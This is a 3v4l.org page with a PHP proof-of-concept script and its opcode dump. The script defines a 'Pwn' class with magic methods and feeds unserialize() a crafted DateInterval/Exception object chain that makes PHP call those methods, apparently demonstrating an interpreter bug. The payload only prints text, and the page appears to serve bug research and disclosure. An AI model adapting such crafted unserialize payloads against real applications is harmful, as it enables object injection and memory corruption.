3v4l.org

run code in 300+ PHP versions simultaneously
<?php /*$ php poc2.php surprise 1 surprise 1 surprise 1 surprise 2 */ class Pwn { function __call($x,$y) { die("surprise $x\n"); } function __get($x) { echo "surprise $x\n"; } } unserialize('O:12:"DateInterval":1:{s:4:"days";O:9:"Exception":7:{s:10:"'."\0".'*'."\0".'message";s:1:"x";s:17:"'."\0".'Exception'."\0".'string";s:1:"A";s:7:"'."\0".'*'."\0".'code";i:0;s:7:"'."\0".'*'."\0".'file";s:1:"a";s:7:"'."\0".'*'."\0".'line";i:1337;s:16:"'."\0".'Exception'."\0".'trace";a:0:{}s:19:"'."\0".'Exception'."\0".'previous";O:3:"Pwn":0:{}}}'); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/bRQCK
function name:  (null)
number of ops:  4
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   23     0  E >   INIT_FCALL                                               'unserialize'
          1        SEND_VAL                                                 'O%3A12%3A%22DateInterval%22%3A1%3A%7Bs%3A4%3A%22days%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A1%3A%22x%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A1%3A%22A%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A1%3A%22a%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A1337%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BO%3A3%3A%22Pwn%22%3A0%3A%7B%7D%7D%7D'
          2        DO_ICALL                                                 
   25     3      > RETURN                                                   1

Class Pwn:
Function __call:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 79) Position 1 = -2
filename:       /in/bRQCK
function name:  __call
number of ops:  7
compiled vars:  !0 = $x, !1 = $y
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   13     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   14     2        ROPE_INIT                                     3  ~3      'surprise+'
          3        ROPE_ADD                                      1  ~3      ~3, !0
          4        ROPE_END                                      2  ~2      ~3, '%0A'
          5      > EXIT                                                     ~2
   15     6*     > RETURN                                                   null

End of function __call

Function __get:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/bRQCK
function name:  __get
number of ops:  6
compiled vars:  !0 = $x
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   17     0  E >   RECV                                             !0      
   18     1        ROPE_INIT                                     3  ~2      'surprise+'
          2        ROPE_ADD                                      1  ~2      ~2, !0
          3        ROPE_END                                      2  ~1      ~2, '%0A'
          4        ECHO                                                     ~1
   19     5      > RETURN                                                   null

End of function __get

End of class Pwn.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
149.12 ms | 1395 KiB | 15 Q